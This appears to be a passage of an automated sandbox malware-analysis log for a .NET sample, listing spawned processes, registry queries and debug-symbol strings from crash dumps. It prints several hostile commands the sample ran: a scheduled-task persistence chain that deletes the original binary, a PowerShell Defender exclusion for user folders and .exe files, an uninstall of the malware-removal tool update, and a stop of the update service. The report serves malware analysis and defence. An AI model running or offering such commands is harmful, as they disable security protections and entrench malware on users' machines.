Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\hgzxhw.exe "C:\Users\user\AppData\Local\Temp\hgzxhw.exe"
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 496 -p 1384 -ip 1384
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1384 -s 1200
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 544 -p 3660 -ip 3660
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3660 -s 3136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\utntwb.exe "C:\Users\user\AppData\Local\Temp\utntwb.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe"
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe C:\Users\user\AppData\Local\ServiceHub\msbuild.exe
Source: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Process created: C:\Program Files\Windows Media Player\wmplayer.exe "C:\Program Files\Windows Media Player\wmplayer.exe"
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Process created: C:\Program Files\Windows Media Player\wmplayer.exe "C:\Program Files\Windows Media Player\wmplayer.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 476 -p 5788 -ip 5788
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5788 -s 3120
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\spczxf.exe "C:\Users\user\AppData\Local\Temp\spczxf.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\ohvrxt.exe "C:\Users\user\AppData\Local\Temp\ohvrxt.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\hgzxhw.exe "C:\Users\user\AppData\Local\Temp\hgzxhw.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\utntwb.exe "C:\Users\user\AppData\Local\Temp\utntwb.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 384 -p 432 -ip 432	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 432 -s 1216	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 544 -p 2908 -ip 2908	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2908 -s 3156	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 496 -p 1384 -ip 1384	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1384 -s 1200	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 544 -p 3660 -ip 3660	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3660 -s 3136	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 476 -p 5788 -ip 5788	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5788 -s 3120	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Windows\System32\WerFault.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe"
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe"
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Process created: C:\Program Files\Windows Media Player\wmplayer.exe "C:\Program Files\Windows Media Player\wmplayer.exe"
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Process created: C:\Program Files\Windows Media Player\wmplayer.exe "C:\Program Files\Windows Media Player\wmplayer.exe"
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\spczxf.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Upgrades

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.Drawing.Design.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Diagnostics.Tracing.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xaml.pdb:\W@ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Design.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DataVisualization.Design.pdb(~ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Net.Http.WebRequest.pdbh- source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Messaging.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Numerics.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.WorkflowServices.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: msbuild.exe, 00000025.00000000.2320139777.0000000000062000.00000002.00000001.01000000.00000013.sdmp, msbuild.exe.27.dr
Source:	Binary string: mscorlib.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.ServiceProcess.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: XsdBuildTask.pdb8 source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Device.pdb$ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ServiceProcess.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.ApplicationServices.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: XsdBuildTask.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: HFayo.pdb source: WER2A76.tmp.dmp.6.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: sysglobl.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.pdb` source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.RegularExpressions.pdbMZ@ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: NGenTaskLauncher.pdbSystem.Runtime.Serialization.Formatters.dllSystem.Runtime.CompilerServices.VisualC.dllSystem.Diagnostics.TextWriterTraceListener.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: CustomMarshalers.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IO.Compression.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Activities.Build.pdbSystem.Net.WebSockets.Client.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.pdbH source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.DurableInstancing.pdb:\W source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: 0C:\Windows\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualC.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Activities.DurableInstancing.pdbp source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Workflow.ComponentModel.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Activation.pdb source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: mscorlib.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp, WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: ISymWrapper.pdb$XPAxq source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Linq.pdb` source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.AddIn.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.Discovery.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Internals.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.Services.pdbMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.Entity.Design.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Runtime.WindowsRuntime.pdbSystem.Collections.Specialized.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Numerics.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.Design.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Containers\Confidential\DotnetGenerator\Stub\Projects\HFayo\obj\Release\HFayo.pdb( source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.DirectoryServices.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.pdbMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Net.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Caching.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DataVisualization.pdb` source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.Entity.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Numerics.Vectors.pdbp^ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Security.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DataVisualization.pdbY source: WER696F.tmp.dmp.30.dr
Source:	Binary string: \??\C:\Users\user\Desktop\HFayo.pdbb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.IdentityModel.Services.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Containers\Confidential\DotnetGenerator\Stub\Projects\HFayo\obj\Release\HFayo.pdbH source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Build.Conversion.v4.0.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb6 source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E99246000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceProcess.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.Install.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Services.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Design.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Xml.Serialization.pdbJ> source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Xaml.Hosting.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Drawing.Design.pdbH source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Users\user\Desktop\HFayo.pdbL source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.Linq.pdbpH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.WorkflowServices.pdbh source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Linq.pdbP< source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.IO.Compression.FileSystem.pdbSystem.WorkflowServices.dllSystem.WorkflowServices.dllSystem.ServiceModel.Web.dllSystem.ServiceModel.NetTcp.dllSystem.ServiceModel.Web.dllp source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Deployment.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.Services.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb>sFm source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Web.Extensions.pdbMZ@ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.IdentityModel.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Activities.Presentation.pdbXK source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.WorkflowServices.pdbp source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Messaging.pdbh source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.SqlXml.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Core.pdbbb source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Xml.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbe source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E99254000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\HFayo.pdbVi.pdbpdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Data.SqlXml.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Windows.Forms.pdb[' source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Management.pdbH source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: NGenTaskLauncher.pdb source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Users.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbT source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.AddIn.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbv10.03P source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Web.pdbp source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.Data.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: SMDiagnostics.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.Design.pdbP.d source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ServiceModel.WasHosting.pdbP source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Web.DynamicData.pdbMZ source: WER85A6.tmp.dmp.15.dr
